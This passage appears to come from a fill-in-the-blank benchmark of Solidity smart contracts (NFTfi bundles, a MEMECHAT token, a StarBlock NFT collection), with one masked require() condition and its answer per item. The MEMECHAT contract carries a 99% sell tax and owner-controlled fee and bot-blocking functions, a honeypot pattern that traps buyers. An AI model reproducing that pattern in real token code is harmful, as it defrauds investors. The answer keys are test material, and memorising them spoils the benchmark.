require(pullAirdropEnabled, "pullAirdrop feature disabled");
require(ownerOf(_immutableId) == msg.sender, "pullAirdrop msg.sender not eligible");
(, uint256 bundleId) = bundler.ownerOfChild(_nftContract, _nftId);
require(<FILL_ME>)
bundler.pullAirdrop(
_nftContract,
_nftId,
_target,
_data,
_nftAirdrop,
_nftAirdropId,
_is1155,
_nftAirdropAmount,
msg.sender
);
}
/**
* @notice Validates the withdraw params
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function _validateWithdraw(uint256 _immutableId, address _to) internal view {
}
/**
* @notice Mints a new immutable bundle.
* @param _to The address that owns the new immutable bundle
* @param _bundleId The associated bundle id
* @return The id of the new created immutable bundle
*/
function _mintImmutableBundle(address _to, uint256 _bundleId) internal returns (uint256) {
}
/**
* @notice Burns an immutable bundle
* @param _immutableId the id of the immutable bundle
*/
function _burnImmutableBundle(uint256 _immutableId) internal {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must not be paused.
*/
function pause() external onlyOwner {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must be paused.
*/
function unpause() external onlyOwner {
}
/**
* @dev Toggles airdrop flashloan feature
* @param _pullAirdropEnabled - bool flag
*/
function setPullAirdropEnabled(bool _pullAirdropEnabled) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| bundleOfImmutable[_immutableId]==bundleId,"immutable-nft mismatch" | 71,719 | bundleOfImmutable[_immutableId]==bundleId |
"token is in immutable" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./NftfiBundler.sol";
import "./utils/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title ImmutableBundle
* @author NFTfi
* @notice Bundle wrapper that allows users to lock bundles so they can be used for loans.
* @dev This contract prevents owners of the bundles to remove any child, but they can still receive new children.
* Solves the problem of bundles being emptied by their owner between they are listed and the loan begins.
*/
contract ImmutableBundle is ERC721Enumerable, IERC721Receiver, Ownable, Pausable {
using SafeERC20 for IERC20;
using Strings for uint256;
// Incremental token id
uint256 public tokenCount = 0;
// Address of the bundler contract
NftfiBundler public immutable bundler;
string public baseURI;
// flag to toggle airdrop flashloan functionality
bool public pullAirdropEnabled; //false by default
// immutable tokenId => bundleId
mapping(uint256 => uint256) public bundleOfImmutable;
// bundleId => immutable tokenId
mapping(uint256 => uint256) public immutableOfBundle;
event ImmutableMinted(uint256 indexed immutableId, uint256 indexed bundleId);
/**
* @dev Stores the bundler, name and symbol
*
* @param _bundler Address of the bundler contract
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
address _bundler,
string memory _name,
string memory _symbol,
string memory _customBaseURI
) ERC721(_name, _symbol) Ownable(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC721Enumerable) returns (bool) {
}
/**
* @notice Mints a new bundle storing it as immutable bundle.
* The bundle can receive children but there is no way to remove a child, unless withdrawing the bundle.
* @param _to The address that owns the new immutable bundle
* @return The id of the new created immutable bundle
*/
function mintBundle(address _to) external whenNotPaused returns (uint256) {
}
/**
* @notice Method invoked when a bundle is received
* param The address that caused the transfer
* @param _from The previous owner of the token
* @param _bundleId The bundle that is being transferred
* param _data Arbitrary data
* @return the selector of this method
*/
function onERC721Received(
address,
address _from,
uint256 _bundleId,
bytes memory
) external virtual override whenNotPaused returns (bytes4) {
}
/**
* @notice Withdraw a bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdraw(uint256 _immutableId, address _to) external {
}
/**
* @notice Withdraw a bundle and remove all the children from the bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdrawAndDecompose(uint256 _immutableId, address _to) external {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _immutableId - the id of the immutable bundle
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
uint256 _immutableId,
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount
) external {
}
/**
* @notice Validates the withdraw params
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function _validateWithdraw(uint256 _immutableId, address _to) internal view {
}
/**
* @notice Mints a new immutable bundle.
* @param _to The address that owns the new immutable bundle
* @param _bundleId The associated bundle id
* @return The id of the new created immutable bundle
*/
function _mintImmutableBundle(address _to, uint256 _bundleId) internal returns (uint256) {
}
/**
* @notice Burns an immutable bundle
* @param _immutableId the id of the immutable bundle
*/
function _burnImmutableBundle(uint256 _immutableId) internal {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
IERC721 tokenContract = IERC721(_tokenAddress);
if (_tokenAddress == address(bundler)) {
require(<FILL_ME>)
}
require(tokenContract.ownerOf(_tokenId) == address(this), "nft not owned");
tokenContract.safeTransferFrom(address(this), _receiver, _tokenId);
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must not be paused.
*/
function pause() external onlyOwner {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must be paused.
*/
function unpause() external onlyOwner {
}
/**
* @dev Toggles airdrop flashloan feature
* @param _pullAirdropEnabled - bool flag
*/
function setPullAirdropEnabled(bool _pullAirdropEnabled) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| immutableOfBundle[_tokenId]==0,"token is in immutable" | 71,719 | immutableOfBundle[_tokenId]==0 |
"nft not owned" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "./NftfiBundler.sol";
import "./utils/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
/**
* @title ImmutableBundle
* @author NFTfi
* @notice Bundle wrapper that allows users to lock bundles so they can be used for loans.
* @dev This contract prevents owners of the bundles to remove any child, but they can still receive new children.
* Solves the problem of bundles being emptied by their owner between they are listed and the loan begins.
*/
contract ImmutableBundle is ERC721Enumerable, IERC721Receiver, Ownable, Pausable {
using SafeERC20 for IERC20;
using Strings for uint256;
// Incremental token id
uint256 public tokenCount = 0;
// Address of the bundler contract
NftfiBundler public immutable bundler;
string public baseURI;
// flag to toggle airdrop flashloan functionality
bool public pullAirdropEnabled; //false by default
// immutable tokenId => bundleId
mapping(uint256 => uint256) public bundleOfImmutable;
// bundleId => immutable tokenId
mapping(uint256 => uint256) public immutableOfBundle;
event ImmutableMinted(uint256 indexed immutableId, uint256 indexed bundleId);
/**
* @dev Stores the bundler, name and symbol
*
* @param _bundler Address of the bundler contract
* @param _name name of the token contract
* @param _symbol symbol of the token contract
*/
constructor(
address _admin,
address _bundler,
string memory _name,
string memory _symbol,
string memory _customBaseURI
) ERC721(_name, _symbol) Ownable(_admin) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(ERC721Enumerable) returns (bool) {
}
/**
* @notice Mints a new bundle storing it as immutable bundle.
* The bundle can receive children but there is no way to remove a child, unless withdrawing the bundle.
* @param _to The address that owns the new immutable bundle
* @return The id of the new created immutable bundle
*/
function mintBundle(address _to) external whenNotPaused returns (uint256) {
}
/**
* @notice Method invoked when a bundle is received
* param The address that caused the transfer
* @param _from The previous owner of the token
* @param _bundleId The bundle that is being transferred
* param _data Arbitrary data
* @return the selector of this method
*/
function onERC721Received(
address,
address _from,
uint256 _bundleId,
bytes memory
) external virtual override whenNotPaused returns (bytes4) {
}
/**
* @notice Withdraw a bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdraw(uint256 _immutableId, address _to) external {
}
/**
* @notice Withdraw a bundle and remove all the children from the bundle
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function withdrawAndDecompose(uint256 _immutableId, address _to) external {
}
/**
* @notice this function initiates a flashloan to pull an airdrop from a tartget contract
*
* @param _immutableId - the id of the immutable bundle
* @param _nftContract - contract address of the target nft of the drop
* @param _nftId - id of the target nft of the drop
* @param _target - address of the airdropping contract
* @param _data - function selector to be called on the airdropping contract
* @param _nftAirdrop - address of the used claiming nft in the drop
* @param _nftAirdropId - id of the used claiming nft in the drop
* @param _is1155 -
* @param _nftAirdropAmount - amount in case of 1155
*/
function pullAirdrop(
uint256 _immutableId,
address _nftContract,
uint256 _nftId,
address _target,
bytes calldata _data,
address _nftAirdrop,
uint256 _nftAirdropId,
bool _is1155,
uint256 _nftAirdropAmount
) external {
}
/**
* @notice Validates the withdraw params
* @param _immutableId the id of the immutable bundle
* @param _to the address of the receiver of the bundle
*/
function _validateWithdraw(uint256 _immutableId, address _to) internal view {
}
/**
* @notice Mints a new immutable bundle.
* @param _to The address that owns the new immutable bundle
* @param _bundleId The associated bundle id
* @return The id of the new created immutable bundle
*/
function _mintImmutableBundle(address _to, uint256 _bundleId) internal returns (uint256) {
}
/**
* @notice Burns an immutable bundle
* @param _immutableId the id of the immutable bundle
*/
function _burnImmutableBundle(uint256 _immutableId) internal {
}
/**
* @notice used by the owner account to be able to drain ERC721 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _tokenId - id token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC721(
address _tokenAddress,
uint256 _tokenId,
address _receiver
) external onlyOwner {
IERC721 tokenContract = IERC721(_tokenAddress);
if (_tokenAddress == address(bundler)) {
require(immutableOfBundle[_tokenId] == 0, "token is in immutable");
}
require(<FILL_ME>)
tokenContract.safeTransferFrom(address(this), _receiver, _tokenId);
}
/**
* @notice used by the owner account to be able to drain ERC20 tokens received as airdrops
* for the locked collateral NFT-s
* @param _tokenAddress - address of the token contract for the token to be sent out
* @param _receiver - receiver of the token
*/
function rescueERC20(address _tokenAddress, address _receiver) external onlyOwner {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must not be paused.
*/
function pause() external onlyOwner {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - Only the owner can call this method.
* - The contract must be paused.
*/
function unpause() external onlyOwner {
}
/**
* @dev Toggles airdrop flashloan feature
* @param _pullAirdropEnabled - bool flag
*/
function setPullAirdropEnabled(bool _pullAirdropEnabled) external onlyOwner {
}
/**
* @dev Sets baseURI.
* @param _customBaseURI - Base URI
*/
function setBaseURI(string memory _customBaseURI) external onlyOwner {
}
/**
* @dev Sets baseURI.
*/
function _setBaseURI(string memory _customBaseURI) internal virtual {
}
/** @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* @dev This function gets the current chain ID.
*/
function _getChainID() internal view returns (uint256) {
}
}
| tokenContract.ownerOf(_tokenId)==address(this),"nft not owned" | 71,719 | tokenContract.ownerOf(_tokenId)==address(this) |
"You are not permitted to setFee." | /*
Website: https://www.memechat.xyz
Twitter: https://twitter.com/memechatpgp
Telegram: https://t.co/Y3r6V6U059
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MEMECHAT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MemeChat";
string private constant _symbol = "MMC";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10069000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 1;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 99;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x48B5dcb281cB5e6b61CAA11BbD1F03E038f6c926);
address payable private _marketingAddress = payable(0x48B5dcb281cB5e6b61CAA11BbD1F03E038f6c926);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
address public taxPermittedAddress;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 260000 * 10**9;
uint256 public _maxWalletSize = 260000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setTaxPermittedAddress(address _taxPermittedAddress) public {
require(<FILL_ME>)
taxPermittedAddress = _taxPermittedAddress;
}
function setFee(
uint256 redisFeeOnBuy,
uint256 redisFeeOnSell,
uint256 taxFeeOnBuy,
uint256 taxFeeOnSell
) public {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount)
public
onlyOwner
{
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(
address[] calldata accounts,
bool excluded
) public onlyOwner {
}
}
| _msgSender()==taxPermittedAddress,"You are not permitted to setFee." | 71,789 | _msgSender()==taxPermittedAddress |
"StarBlockCollection: reached max amount for artist!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
require(_amount > 0, "StarBlockCollection: amount should be greater than 0!");
require(<FILL_ME>)
require((totalSupply() + _amount) <= maxSupply, "StarBlockCollection: reached max supply!");
artistMinted += _amount;
_safeMint(msg.sender, _amount);
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| (artistMinted+_amount)<=maxAmountForArtist,"StarBlockCollection: reached max amount for artist!" | 71,841 | (artistMinted+_amount)<=maxAmountForArtist |
"StarBlockCollection: reached max supply!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
